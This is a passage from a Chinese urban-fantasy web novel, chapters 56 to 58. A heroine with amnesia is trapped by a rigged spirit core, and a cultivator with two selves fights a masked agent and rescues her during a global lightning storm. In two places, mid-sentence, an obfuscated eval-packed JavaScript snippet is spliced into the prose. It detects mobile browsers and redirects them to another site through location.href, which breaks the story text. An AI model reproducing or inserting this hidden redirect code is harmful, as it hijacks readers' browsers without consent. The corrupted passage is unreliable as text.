她现在对声音变得很敏感,一点轻微动静就能准确分辨出声源方位,不像之前那样两眼一抓瞎,行动也从容了很多。 周阆屿:“你这段时间,就住在我这边,这里很安全,姓莫的不会来打扰你。” 林北柔:“好,麻烦你了。” 周阆屿:“不麻烦,你先休息会儿,晚上想吃什么?” 话音刚落,门口就响起了敲门声。 周阆屿没了表情,他住这边,平时不会有任何人打扰才对。 周阆屿:“我去看看是谁。” 他去了玄关,看向可视屏幕,表情转为意外,接着按下了通话:“喂?” 屏幕上是孙芮晗,她戴了个口罩,一只手绷带包得像粽子一样,另一只手提着个小箱子,左顾右盼,万分紧张地说:“周前辈,快点放我进去!我有事要找林北柔!” 周阆屿冷淡了脸色:“你怎么知道林北柔在我这里?” 孙芮晗是苔痕宗孙家的人,她姑姑孙和铃刚刚被提拔成新的高层骨干,周阆屿不知道孙芮晗为什么忽然出现。 孙芮晗:“我有我自己的办法,哎呀来不及了,有特别重要的事要跟你们说,不然我姑姑发现了逮我回去!是和魏瑕有关的!” 周阆屿和孙芮晗不熟,也知道她没什么心眼,被家里惯坏的,以前有点异想天开,被她姑姑收拾了就老实多了。 周阆屿打开了门让她进来:“你长话短说。” 孙芮晗一进去就直奔着林北柔去了。 林北柔听见一个叽叽喳喳的女生声音,略微疑惑地转过去,接着就闻到一股大小姐风格的高级香气,然后对方就在她近旁惊呼:“你眼睛怎么了?为什么见轮的光芒这么暗啊?” 这话一听就不是普通人,对方应该能看见一些普通人看不见的东西。 林北柔:“……不好意思,你是?” 孙芮晗愕然,周阆屿解释:“受到灵脉冲击影响,暂时失忆了,很多事情没了印象。” 孙芮晗点头:“没关系,反正你知道魏瑕是谁就行,我要说的和他有关系。” 周阆屿想了起来,之前孙芮晗问他要林北柔的联系方式,说是发现了一个和魏瑕有关的重大机密。 林北柔更疑惑了:“魏总的事,和我有关系?你不是应该去找他吗?” 孙芮晗:“先听我说。” 她把那只特制的金属箱子放到桌子上,费力地想打开,包成粽子的手不方便,向周阆屿求助:“周前辈,能不能帮我打开一下?” 周阆屿帮她打开了。 箱子正中央凹陷处,放着一个矿晶状的正方体,一只婴儿拳头能轻松包住,光华流转,就像加了特效一样,普通人看见世界观会被击碎。 孙芮晗深吸口气:“千万不要用手碰,我就是用手指尖尖戳了一下,这只手差点没了。” 周阆屿把盒子移到离林北柔稍远的地方:“这是什么?” 孙芮晗:“是魏瑕……是一号曾经进入最古老的灵脉底下,从绝对禁区带出来的东西的一小部分,他们叫灵核碎片,太微垣下了命令,让几大世家分别保管,这次灵脉冲击,听说其他碎片受到共振影响,都彻底进入休眠,下次苏醒可能是几百年之后,黄花菜都凉了,只有苔痕宗这块还是活跃的,里面有魏瑕进入灵脉之后的经历和记忆,据说还封存着其他难以想象的东西。” 周阆屿震惊到不可思议:“你把苔痕宗的灵核偷出来了?” 向光山走的是另外的道,没有和其他世家争抢灵核,周阆屿只听过没见过。 孙芮晗:“至今没有一个世家有办法破解灵核,以研究著称的苔痕院也没办法,国内熟人太多不方便,那些厉害的又怕损自己气运,我偷偷请了国外一个特别厉害又要钱不要命的神婆来看过,我们虽然打不开,但能占卜出一个模糊方向,找到能打开它的契机在哪里。” 孙芮晗双眼炯炯转向林北柔:“结果导向范围太大了,我们一一验证排除,累到快累死了才来找你的,你肯定有办法打开。” 周阆屿冷冷道:“想都不要想,林北柔连灵力都不会用,怎么打开这么危险的东西?” 他拒绝了孙芮晗,根本没有商量的余地。 孙芮晗急得跟他理论:“周前辈,这事儿得林北柔自己拿主意吧!” 林北柔谨慎地说:“不好意思,我不想冒风险打开一个好像很危险的东西。” 不作死就不会死,这个道理她还是懂的。 孙芮晗瞪大眼睛:“等等,你是不是根本没概念,你知不知道你在灵脉共鸣者待选名单上啊,这段时间国外情报组织都传疯了,我们这边要重选灵脉之子,理论上你也是有资格的!要不是我没那个天赋,我早就去了!” 林北柔心里一动,想起莫衡和她说的消息,倒是和孙芮晗说的重合了。 林北柔:“这和这件事有关系吗?” 孙芮晗庄重地说:“假如你们都是有夺王位资格的正统继承人,那么灵核里面的东西,就是兵权,或者玉玺,继位诏书之类的,难道你还不想打开它吗?一个普通人就算七个亿现金摆在他面前,不用付出任何代价就能拿走,她会拒绝吗?” 林北柔:“……” 林北柔:“可是我不会用灵力,怎么——” 周阆屿打断了她们:“孙芮晗,你把灵核送回去,否则这件事会直接上升成苔痕宗和向光山的矛盾。” 他态度强硬,林北柔也有点犹豫了,她也不喜欢未知的风险,何况这件事会给周阆屿带来麻烦。 孙芮晗费了二十分钟嘴皮子,也说服不了周阆屿,一气之下站起来,门铃又响了。 周阆屿扶额:“又谁?” 孙芮晗惊慌:“该不会是我姑姑发现我跑了?别去开门!” 周阆屿:“院子门口有结界,你没有威胁性,它才自动放你进来的,换成孙部长,接近不了大门就会触发警报。” 周阆屿走到门口看了看屏幕,门外什么人都没有,他微微蹙起眉,心里渐渐感觉到古怪。 等等。 刹那间,周阆屿想到了什么,回头朝林北柔她们两个喊:“离开箱子!” 同时他运起灵力发动天赋,张开了结界。 还是晚了一点,就差那么零点零一秒,或许对方卡的就是这个时机。 满足时机的条件,箱子被打开,林北柔就在箱子旁边,周阆屿展开结界覆盖她的时间,长过盒子发动触碰到林北柔的时间。 灵核是真的,正因为是真的,才是最好的障眼法。 对方知道林北柔目前打不开灵核,所以有恃无恐,敢让孙芮晗带走灵核。 对方还知道莫衡刚好劫走过林北柔一次,被周阆屿和魏瑕拦截了,有惊无险之后,莫衡潜逃,周阆屿他们会把莫衡当做头号嫌疑,对其他存在的警惕会相应降低。 不可能是孙和铃干的。 孙和铃没有动机,也没有那个利益驱使,她是那种立身很正的人,不为孙家,只为最高决策者服务。 并不是那些持有的灵核碎片被毁掉的世家,他们就算这样做,灵核被打开,受益人也不会是他们。 那还有谁能够老谋深算,利用孙芮晗成事? 半秒时间,周阆屿想通了一切。 灯下黑。幕后人就是苔痕宗宗首,孙家现在的当家人。 他们已然参与紫宸君之位的斗争,开始下押注了。 魏瑕背后有魏家,孙家不可能支持魏家。 剩下的神秘六号,?神龙见首不见尾,周阆屿作为五号,天赋是结界守护,而不是灵脉共鸣,境外两个灵脉共鸣者,二号被宣布死亡,三号被所在势力牢牢藏起,孙家也不可能叛国通敌联系他们,而曾经的四号候选莫衡,受到了致命污染,失去了灵脉共鸣的天赋。 只剩下林北柔。 哪怕林北柔现在没有觉醒,作为一个毫无背景的普通人,也是最好拖下水的一枚棋子。 林北柔只感觉到一股不受控的引力传来,身体就浮在了空中,她看不见孙芮晗惊恐万状不知道发生了什么的表情,伪装成箱子的法阵刹那成型,将她牢牢固定在半空,强行连接了她和灵核。 客厅充满了炫目的蓝光,吞没了所有物品的轮廓。 周阆屿瞳孔骤缩成针点。 林北柔是普通人,强行被进行这样的连接,最坏的可能性就是死。 孙家根本不在乎林北柔的性命。 - 魏瑕下车后,那三辆车也停了下来,为首的车上走下来一个戴面具穿境外陆军 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915475|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风格制服的人,面具是倒三角形,中间只刻了一只黄色的漩涡撞眼睛。 他没有靠近魏瑕,两个护卫模样的人在他身前划出一道结界,他向魏瑕伸出手,手套是金属制的。 “魏先生,”对方的普通话说得很标准,客客气气的,声音听不出是男是女,是老是幼,“请你把不周无量印交出来,据说它现在长这样。” 他手中显出虚影,投射出一枚古币的样子。 魏瑕脑海里浮现出一些记忆碎片,他平平淡淡地说:“我上交上去了。” 三角面具:“我们有我们的情报,你交上去的那一枚是假的,真正的无量印被你昧下来了,无量印不该专属于你们,它是全人类共同的遗产,一直被你们占据,现在是时候移交了,原本我们以为它被储藏在你们的昆仑地下区,去了那边才发现,密库里那一枚是假的。” 魏瑕一点跟他们打交道的兴趣都没有:“解除结界,否则后果自负。” 三角面具:“魏先生。” 旁边护卫双手捧上一只箱子,另外一个护卫打开。 他用戴手套的那只手拿出一枚墨烟色矿晶状正方体,被他食指和拇指捏住:“灵脉之心,你们叫灵核,是三十年前开始,各国探索灵脉技术成熟,能深入到禁区,才在禁区发现的。” 矿晶方体蓦地发出一团日食之环一样的光芒。 “这是我们在阿勒格尼造山运动遗迹下发现的一枚灵脉之心碎片,世界上有十三枚碎片,你们幅员辽阔,占据灵脉最丰富的地域,共有七枚,剩下六枚分别为其他区域保管,我们的组织持有其中最大的三枚,这一枚就是我们持有的三大碎片之一。” 三角面具说完,比了个手势,按在肩上,似乎是一种礼节:“我们不愿意和你发生冲突,以此为礼物,希望你能用无量印和我们交换,并站到我们这一边,毕竟,你的族人似乎并没有信赖你,他们在你身上下了一种能杀死你的封印。” 他侧了侧脑袋,仿佛在打量魏瑕,平和地说:“不过,现在这个封印好像被你自己成功取下来了,他们没有发现吗?可见你也没有信任他们。” 魏瑕无悲无喜地看着他。 对方身上没有恶意,也没有善意,他说的也都是真话。 然而,道不同。 他没了记忆,动起手来会有点麻烦,不过对方还不至于奈何得了他,魏瑕垂眼想了想。 魏瑕:“我拒绝。” 三角面具:“很遗憾。” 他手套拨转碎片,碎片刹那闪现到离地几十米的半空,一股排山倒海的引力袭来,魏瑕好像被卷入台风眼一样,蓦地抛升到空中,被动和那枚碎片连接。 海量的混沌呓语从四面八方涌来,足以像撕碎一张糯米纸一样,撕碎十万个普通人的神智。 魏瑕脑子一阵晕眩,那不是人力所能企及,是来自天道的威压。 识海湖泊泛起千万点针戳状水涡,魏瑕元神中铺开一片淡淡的白金光晕,像日出时最薄的那片淡金,他的瞳孔也变成了金色,头发由发根向发梢蔓延浮动,逐渐变为一头长长的银白,几缕发丝拂过金色瞳孔,本命心法徐徐运转。 魏瑕眼前出现了山川湖海,云蒸霞蔚,许多殊胜的风景,都不是现世才有的,他想了起来。 他名叫司空晏,来自胜身洲,是一名天阶剑修,已入半步踏虚境界,元神里有两个他,一心双体,一为七情六欲俱全的人我本格,一为道心本相。 现在的他是道心本相,执掌道心,不为七情六欲所困。 魏瑕的心法一旦运转,和灵核的连接刹那间就减弱了一大半,人在空中悬停平衡,无波无澜俯瞰着地下那些人。 三角面具身形动作都凝滞了。 恍惚间,他看到魏瑕身后有一个幻影图景,似乎是某种星斗,其中一颗极亮。 魏瑕对灵核无兴趣,对杀了他们拆取神识更有兴趣。 三角面具用全身每个毛细孔感觉到了。 三角面具想逃,身影轮廓就变得模糊,白金光晕在他身上爆开,他动弹不得,膝盖骤然弯折,被迫跪在了地上,就像有千钧之力压在他背上,他的两个手下早已失去知觉躺在了地上。 魏瑕无声落地,朝他们走了过去,他连看也没有看一眼灵核,失去连接的灵核,正在酝酿一场天灾。 精神体跑了出来,它前肢离地,仰头望着半空中卷起云雾尘沙的灵核,雷暴正在附近聚集,大地隐隐在颤抖,像有千军万马飒踏而来,精神体盯着灵核,它感觉到了一丝不对劲。 毛茸得像雪媚娘的兔爪挥出,化成龙爪原形,玄麟振振,虚影碰到了灵核外层的日食光晕。 精神体瞳孔骤缩,从光晕中看到了一个被蓝光吞没的客厅,一个人飘浮在半空,和另外一枚灵核之间连接在一起,好像失去了意识。 魏瑕指尖略抬起,灵力罩上三角面具眉心,开始读取。 三角面具身体剧烈抽搐,面具上黄眼睛转动了一圈,一道结界拦截了魏瑕,三角面具艰难地喘了口气:“你怎么做到的……” 魏瑕随手打碎了结界,黄眼睛流出血痕,魏瑕手上出现烧焦痕迹,又很快淡化散去。 三角面具:“你不是……你是……” 读取很快,对方身份不是什么大人物,最多是一枚马前卒,那枚灵核是真的,他的话也是真的,只是隐瞒了一些信息,这枚灵核被污染过,具有未知的变异属性,对他们来说是一块烫手山芋。 三角面具很快失去了神智,魏瑕也失去了兴趣,抬脚离开,懒得管身后半空中风暴中心的灵核。 他刚好无意中看见精神体化为了原形,从毛团延展为蜿蜒的一长条,玄麟散发出白金光晕,撞进了灵核日轮光晕。 刚才中断的连接,瞬间接上。 魏瑕瞳孔骤缩,光晕裂变成摩西分海那样的高度,撕裂开一条空间缝隙,一个人影头朝下坠落。 魏瑕没有想,他反应过来时,才发现他接住了对方,是瞬移过去的,精神体,或者该叫龙灵,缠绕在对方身上,释放出蘑菇云一样的滚滚白焰,不停用龙吻轻轻拱对方毫无知觉垂下的侧脸,为了适应她的体型,龙灵还缩小了自己。 魏瑕探了探,林北柔已经失去了意识,不清楚神识受到了多大影响。 若不是龙灵第一时间感应,林北柔此时又死了一次,魏瑕还要再发动一次时间溯洄。 龙灵和林北柔存在着一种连接。 这种连接,似乎和他关系不大,只对他这具肉·身有影响,龙灵不认他,认前一个主导这具身体的人,即人我本格,也即是说和林北柔有连接的是另一个他。 魏瑕被排除在外,他眸色无悲无喜,却似乎有暗流闪过,又似乎是错觉。 他可以不伸手的,他伸出了两指,指腹触上林北柔的眉心。 林北柔可以自然苏醒,此时被他强行唤醒了,她慢慢地虚乏地睁开眼睛。 魏瑕以为她会露出之前那种听到她要走人时错愕的表情。 林北柔脸上一片茫然。 “你……是谁?”她就像一张白纸一样谨慎地问魏瑕。 57. 第 57 章 魏瑕的手无意识地收紧。 林北柔嫩嫩的膀子肉一疼,嘶了口气儿,挣扎了起来,这才发现自己在半空,表情就像被雷劈了一样。 “……”正要叫,脑子剧烈晕眩,难受得她说不出话来,等恢复意识之后,她发现自己躺在一个封闭的车内空间,准确说是在后座上。 那个好看到过分不像真人的男人坐在驾驶座上,不知道是在发呆还是思考,车没有动,车门是打开的,可以看见外面地上倒了三个穿着奇怪衣服的人。 林北柔坐了起来,紧张地盯着那人,判断不出他和自己的关系。 她只记得,她和甲方达成了一个协议,她的意识去了另外一个位面,进入了甲方给她捏的一具修士身体,完成了任务后就回来了,至于过程是什么,脑子里一片迷蒙,好像下一秒能想起来,又好像永远想不起来。 林北柔稀里糊涂地看了看她自己的手,为什么那些超自然不正常的现象,她接受得那么自然,就好像大脑下意识觉得这些都是正常的。 林北柔观察了一会儿,发现那个人他似乎是睁着眼睛在闭目养神? 可能他刚刚和外面那三个人打了一架,这会儿在思考,或者在养精蓄锐。 趁他没有注意,好奇心驱使下林北柔静悄悄下了车,蹑手蹑脚走到那三个倒地的人旁边。 三个人都戴着面具,看皮肤,不像是华夏人,林北柔试了试他们的脉搏,果然人已经死了。 她应该感到恐惧和生理不适,但她心里一点感觉没有,好像见惯了生死,死人只是一段树皮,植物掉下来的种子壳。 兜里手机忽然震响。 她也不知道都这时候了,为什么还带着手机。 是一条陌生的短信,来自未知号码。 ——莫衡。你找到那个法器了吗? 林北柔诚心诚意回了一句话过去。 ——什么法器? 对方沉默了半分钟,才给她发来第二句,不知道为什么,林北柔直觉对方透出一点咬牙切齿的味道。 ——你想毁约? 话是这么说,他却附带了一张图片,图片上是一枚清晰的古币,看着让人眼目清凉,就像看到了夏日的惊雷闪电。 林北柔不知道他是什么意思,只知道对方有求于自己,可以交换信息,于是偷偷用手机拍了一张远处那人的侧脸发了过去,别的什么也没说。 对方这次秒回。 ——你居然把魏瑕骗出来了,他果然很看重你,你等等,我算一下。 林北柔扬起眉毛,感觉就像游戏里瞎猫碰上死耗子,捡了个大宝箱的玩家。 对方又回了过来:“我刚刚算了,法器线索离你不到十厘米,动手。” 离她不到十厘米?林北柔低头看了看鞋子尖,鞋子十厘米外就是带面具的死人。 林北柔背对着魏瑕,以尽量小的动作,迅速开始搜身,不到几秒就摸到了一个硬硬的东西。 拿出来一看,黑色的立方体,长得像缩小了很多倍的黑匣子。 林北柔心里冒出个直觉,它的功能也和黑匣子一样,她伸手碰了碰它。 面具人临死前的记忆海量一般灌入她脑海。 林北柔看到了那枚古币。 她微微睁大了眼睛。 ——如果东西确实在他身上,你想干什么? 林北柔回复了那个莫衡。 莫衡每个字都像是一字一顿打出来的:“证据保管好,到时候和我汇合。” 林北柔突然感应到一种危险。 她又轻又快悄无声息收起了黑盒子,也不知道是出于哪种本能,她没有把它收进兜里,而是拉开衣领子直接让它掉到了内衣里,特别丝滑及时。 下一秒她就听到一个和对方的脸一样,同样好听到不像真人的声音:“你在干什么?” 林北柔虽然自己长得还可以,但她对那种身份阶级一看就跟自己不是一个世界的超好看又气度不一般之人,有很强的社交恐惧。 这种恐惧倒不是说她会自觉低人一等,而是会跟这种人保持距离,产生社交抗拒。 何况他开的那辆跑车,她根本没见过跑车会长这样,给她感觉距离感更强了。 林北柔不尴不尬嘟囔了一句:“我不知道你是谁。” 魏瑕站在她对面,直接一个平地惊雷:“你从胜身洲带回来的那个东西在哪里?” 林北柔震惊抬头,于是对方正脸落入眼中。 那是怎样一张脸。 就是惊为天人也感觉轻了。 脸上的表情也不大像真人,无悲无喜,像那种什么绝对不可能破戒的禁欲神子。 如果林北柔是十二三岁最爱幻想的年纪,加上又最颜控,现在可能已经被死死拿捏住了。 对方怎么会知道她和甲方达成的协议?怎么知道她去了胜身洲。 魏瑕:“你顺走的那件东西,本来是我的,你有什么想说的。” 这个人也是穿来的。林北柔有种怪不得的感觉。 林北柔:“对不起。” 魏瑕:“你一点都想不起来我是谁?” 林北柔想了想,放弃了努力,摇摇头。 魏瑕眼里的神色看不清,脸上的表情也看不懂。 林北柔不知道他是不是在意,觉得很难说对方是在意的,即使在意,也不是出自个人情感。 或许吧。 膝盖上突然一重,林北柔被压的失去平衡,本来是蹲着的,一下子跌倒在地上。 还没等看清袭击者谁,林北柔视野就被一片耀眼的白占据了,她低下头定睛一看,感觉心脏都轻轻颤抖起来。 好、萌、啊! 世界上怎会有如此萌物! 毛茸茸的垂耳兔,身上的绒毛又轻又絮乎,就像暴雨过后放晴天空未散乌云,渐变得很好看,眼睛圆溜溜的,仔细看,带点黑蓝,眼神十分淡然冷静,圆弧末梢上翘的眼睫毛冲淡了这种冷静,最终呈现出呆萌呆萌。 萌物就这样蹲在她腿上,沉甸甸暖呼呼一毛团,布灵布灵盯着她,好像小孩子一样,要不是这实感手感确实是只兔子,她怀疑它下一秒要开口说话了。 林北柔手不受控抬起来,顺着兔耳朵摸下来捋毛,兔子很温顺地眯起眼睛,一丁点害怕和抗拒都没有,林北柔又惊又喜,已经完全把旁边魏瑕忘了。 “这里怎么会有兔子!我的天哪,这是哪家走丢的宠物吗?身上好干净?等等,你是男孩子还是女孩子?香香的,是女孩子吧?” 林北柔凑近闻了闻,满怀期待地掀起软软的兔尾巴看了一眼,短暂陷入迷之沉默。 不知道怎么回事,她的举动好像刺激了那个一直站着的人,他居然动了动,用带了明显冰凉的口吻说:“可以了。” 林北柔转过去看魏瑕:“这是你的宠物吗?” 她对魏瑕的社交恐惧突然就被冲淡了百分之三十。 魏瑕:“不是。” 垂耳兔静静地蹲伏在林北柔腿上,黑蓝黑蓝的圆眼睛和魏瑕对视,姿态既像守卫,又像占据,也像挑衅。 暂且把之前那个本格叫司空晏。 这个精神体,也就是龙灵,是司空晏的一部分,只认司空晏,和他这个道心本相没多大关系,虽然究其本质,他也是司空晏。 但司空晏是七情六欲俱全的人我,他是道心本相。 他们本来就是因为司空晏产生了道心分别,分离出来的两个不同自我。 司空晏现在在沉睡,还不忘了让龙灵给他制造麻烦。 更不想让他接近林北柔。 与其说是一只不惜不要脸到伪装成食草生物的兔子,不如说这是一条自甘堕落的创世龙灵,堕落到跟西方那种多拉贡一样的蜥蜴类生物一样,守财奴似的看守自己的珍宝。 魏瑕不带感情地评价。 无所谓看不看得惯,他现在只有一个目的,拿回被林北柔带走的东西。 魏瑕从灵核带来的冲击中,恢复了大半记忆,看到了胜身洲发生的一切。 他知道了为什么他身为一直居于元神自在境的道心本相,会出现在这里。 林北柔死遁回到现世,并非结束,恰是一切的开始。 林北柔从司空晏那里带走的东西,也是一枚灵核,位阶最高的那一枚。 论威力和精纯度,都不是这个灵力稀薄的现世能比的。 它能统御、调控、重启现世所有灵核,名为碎星。 司空晏的心法,并非出自他的宗门,而是出自碎星。 司空晏是被碎星认可的道修天才,他学剑的速度,超越了胜身洲过去所有剑仙剑神总和。 他横扫了魔域,清除了魔修地盘,让胜身洲灵气更加蓊郁炽盛。 这样的天选之子,本可以勘破大道,踏破虚空,飞升去一个极想之地,那里不存在什么仙人,也没有什么凡人,没有二元对立。 唯有心、道、灵长存。 那才是道心本相归属的世界。 有个名为司空晏的人,踏入道途,修成心剑,只为证悟大道,进入那里而已。 司空晏却弃若敝履地摒弃了这条路。 大概沾染上无明人欲,就会变成那种阴暗发疯又不可理喻的东西罢。 幸好,当初他分离出来了他这个道心本相。 魏瑕有一点淡淡的想不通,现世的天道,为什么选择了林北柔? 在那之前,它派无数人去过了,没有一个人能接近司空晏,遑论带走碎星。 抛开皮相,林北柔是再普通不过的一个凡人,身上还有些市井俗气,司空晏不是在意皮相的人,林北柔身上有什么让他被吸引。 偏偏就是林北柔,打破了司空晏的道心,带走了碎星。 察觉到他对这个问题有一点‘在意’的嫌疑,现在是道心本相的魏瑕止住了思绪。 现世污染超载,本可以重启灵脉,格式化清零所有污染,不知道为什么,重启失灵了。 灵核原本不是现在的样子,而类似矩阵的概念,浑然一体,周天运转无错。 被污染后,矩阵散了开去,就像规整的星系被打散。 当初他们安排魏瑕进入众生不存在的绝对禁区,就是为了重启灵核。 魏瑕……当时已经恢复了些许胜身洲记忆的司空晏做了一件所有人都没想到的事。 他捅穿了禁区的原初灵脉层,生生把那些灵核全部带了回来,现世的灵脉都是互通的,境外的灵脉层也受到了影响,爆了一些灵核,其他势力趁机捞取,不过没有他们拿到的多。 全世界的灵脉资源竞夺,原本就是一场地下之战,快要上升到明面上的武力阶段,然而看到一号的实力达到了这样的程度,一时间那些蠢蠢欲动的势力全都安静了下去。 就连当时的组织高层,也畏惧魏瑕的力量,给他上了封印。 现在,道心本相知道为什么司空晏会那样做。 重启是不可能重启的。 碎星锁住了灵核矩阵,凭人力根本无法重启。 那个甲方,疑似是天道用来和凡人譬如林北柔这样的人沟通的媒介,没有人知道祂在想什么,为什么不想让现世的人类重启灵核。 现在,道心本相已经知道了碎星的具体坐标。 他要去往那里,拿回碎星,带碎星返回胜身洲,这个现世的一切,包括林北柔,也从此和他无关。 胸口一阵轻忽的堵塞感,一口呼吸悬停在喉咙处,不上不下,魏瑕顿了顿,才缓缓吁出。 这是司空晏留下的身体惯性,那个五蕴炽盛的东西,还心存抗拒,司空晏当时有机会带回碎星,自己也回去胜身洲,却没有那样做。 那就让他这个道心本相来让一切因果回到正轨。 魏瑕低头望着林北柔:“你是不是不想和我再有什么瓜葛?” 林北柔现在不认识他,对她来说他就是个陌生人,于是毫无社交负担地点点头。 魏瑕连眼睛都没眨一下:“好,我把你送回去,以后各走各的路。” 这句话听起来哪里有点怪,就像分手宣言似的,林北柔听着没什么感觉,还有一点尴尬,她费劲地抱起垂耳兔,把它往怀里拢了拢,垂耳兔很主动地贴贴她胸口,给自己找了个舒服的姿势。 那一秒,魏瑕身体感觉到了熟悉的热潮。 精神体体验到的舒适,会直接传递到他身上,这些天他正在适应,还是一时无法适应。 从脸上看,是一点都看不出来的。 魏瑕原本还打算一次性解决掉这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025052|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种连接问题,现在他打算直接放置了,只要放下问题就不存在。 林北柔只看到对面的人好像头痛似的忽然皱了皱眉,眼睛垂落了一会,然后又恢复了正常。 魏瑕:“上车,我送你回家。” 林北柔抱起兔子,坐回了车后座,窗外风景模糊成流线。 为了不跟魏瑕讲话,她一会儿摸兔子,一会儿玩手机,兔子太好摸了,情不自禁多摸了两下,还把脸埋进兔子的背上,吸一吸绒毛,无意间抬头,就看到魏瑕清爽发丝间露出的耳廓尖,是不是有点太红了,这个念头飘了一下就像窗外的风景一样逝去了。 直到林北柔第三次抬起头,看到魏瑕耳朵简直红得不正常。 偏偏他侧脸十分冷淡,面无表情,又显得很正常,这种不正常和正常搅和在一起,林北柔也有点担心了起来。 现在是魏瑕在开车,司机要是有一点闪失,这么一辆平地贴着飞的人类现阶段高科技结晶一旦失控,那就是车毁人亡。 林北柔抱紧兔子:“你……你是不是身体哪里不舒服?” 魏瑕连睫毛都没动一下,感觉凝固成了雕像,过了三秒才开口出声:“我对兔毛过敏,你别抱它,把它放前座。” 林北柔懵了:“啊?你对兔毛过敏……” 她不知道对方既然过敏,为什么又要让她把兔子放去前座? 对方语气太自然了,让她觉得他这么做,一定有他的道理,嗯。 万一过敏只是个借口呢?可能他也想亲近一下小动物,又不好意思说? 魏瑕一刹那近乎痛恨这个身体居然产生了戒断反应,林北柔规规矩矩地把兔子放到了前座,不去摸了,他的身体就产生了一种强烈又酥轻,说是痛楚也不为过的烧灼感。 他有一秒的分神。 天边一线亮白就是在这里降临的。 林北柔震惊失声:“那是什么?!” 魏瑕回过神,看见了天际线变成了一线银白,银水浆一样极速倾泻,形态不同于它的正常形态,人们第一时间不能马上认出。 它像一条静默的死亡线,极速逼近,过境,在它下方,是在平原上铺展开的城市,人口数千万。 林北柔不可置信地轻声说:“闪电?” 她眼中瞳孔都被照出两个小亮点,仿若照见天劫。 魏瑕耳廓的潮红逐渐褪去,声音冰凉清晰:“是雷暴。” 有什么看不见的袭击,还是发生了。 是那些三角黄眼背后的存在。 还有境内他们的同道,那些应劫派。 林北柔心脏悬提了起来,脑海一片空白,她想到的是家里,老妈还有大姨他们,姥姥姥爷他们。 下一秒她低头疯狂打电话,心跳如擂鼓,盯着拨通读秒,三秒后接通了:“喂,宝宝?” 林北柔:“妈!你在哪里!” 林子倩:“之前不是跟你说出门办事吗,办完了,现在在银行。” 林北柔一颗心脏这才重重落回胸口。 林北柔:“外面打雷!超级恐怖!不要出去,千万不要出去,听到了吗!” 林子倩:“啊?噢噢好!外面下雨了吗,我们都不知道……” 林北柔反复叮嘱恐吓她老妈,不要去户外,就待在原地哪都别去。 同一时间,前所未有的地磁暴掀起,红色极光降临在了全世界正处黑夜的时区。 林北柔登上社交媒体,不停刷新出实时的消息,一条比一条震撼,评论区全部炸锅,内网外网群众情绪高度一致。 都觉得怕不是世界末日要来了。 “外星太君,这边请。”这条评论被点赞到前排。 魏瑕临时找了个地下停车场,把车开了进去,停了下来。 林北柔打完电话,长出口气,虚脱了数秒,忽然惊叫:“我的兔兔没事吧!” 她急忙趴过去,看到一团软东西东歪西倒睡得正香,这才百分百地放下心来。 但下一秒,视野就陷入了黑暗。 林北柔后知后觉反应过来:“我看不见了?” 魏瑕这才想起林北柔之前因为受到灵脉冲击,短暂失明,大概是灵核接触,让她眼睛好了,现在雷暴出现,她眼睛又短暂看不见了。 魏瑕转过去,仪表盘的冷光足以照出林北柔的面孔,她脸上震惊尚在,却没有惊慌,失忆只是让她记忆退到以前,不曾抹去阅历不知不觉沉淀在她骨子里的习性。 为了带走碎星,林北柔曾下定决心付出一切。 她当时是怎么想的?是想回去和家人重逢,是甲方曾答应她,让那些困扰她的混沌呓语一键消失,永不复发,帮她避开那个BE结局。 她留下来,和司空晏在一起,也只能走完修士该走的寿元,灵魂还是会返回现世,又因为毁约,必然面临更坏的结局。 从一开始,林北柔就不可能选司空晏。 这个念头浮现而出时,胸口泛上奇异的钝痛,好像是元神本身的感觉,魏瑕忽然失去了对身体的控制,就像忽然被谁推了一下,由于惯性,向后倒退了好几步,一个和他一模一样的人逆光占据了他的位置。 林北柔还在嚷嚷:“怎么回事,我怎么看不见了?你关灯了吗!” 她两只手紧紧抓住前车座,试探地张开手。 然后手就被握住了。 修长的手,手形比她大很多,轻而易举地包裹住她,指节硬,掌心薄,皮肤凉玉一样,空气轻微一晃,对方拉住她手借力来了后座,林北柔闻到十分清淡好闻的香味,不是香水那种,接着她听到一个阴凉欲滴又十分柔和的声音:“让我看看你的眼睛。” 这个声音和刚才的魏瑕截然不同。 林北柔说不清为什么,脖子后面的寒毛都炸开了,却只能顺着对方的反应,任由对方靠近,好像身体形成了一套程序,会自动决定要怎么做一样。 对方的呼吸十分轻微,像微风落在她眼皮上。 “嗯,沙子落在里面了,舔舔就好了。”阴柔的声音这样说。 林北柔想要推拒,却没有这样做,可能是失去视野让她感到不安全,她只是大大睁着眼睛,感觉到眼睛被很轻很水、柔若无形的东西,轻轻地舔了一下。 不可言说的感觉瞬间传遍全身。 58. 第 58 章 “啪!” 可能太紧张了,林北柔脑海空白,手自动抬起,对方脸颊就挨了她一下,很轻,算不上一记巴掌。 当反应过来自己做了什么,林北柔陡然紧张到极点,却听到一阵轻笑。 很轻的笑,清澈的音调中有种高亢的兴奋感,变汰得很。 这巴掌是给他打爽了。 林北柔:“……” 她真是惊到本来想骂人的,这笑声却一下子激活了什么,在她失忆的大脑里翻搅起猛烈的漩涡,一个熟悉的身影浮现,他也是这样笑的,这是她最熟悉的笑声。 这个人是谁呢。 魏瑕在被打了一巴掌后,拿回了身体的控制权。 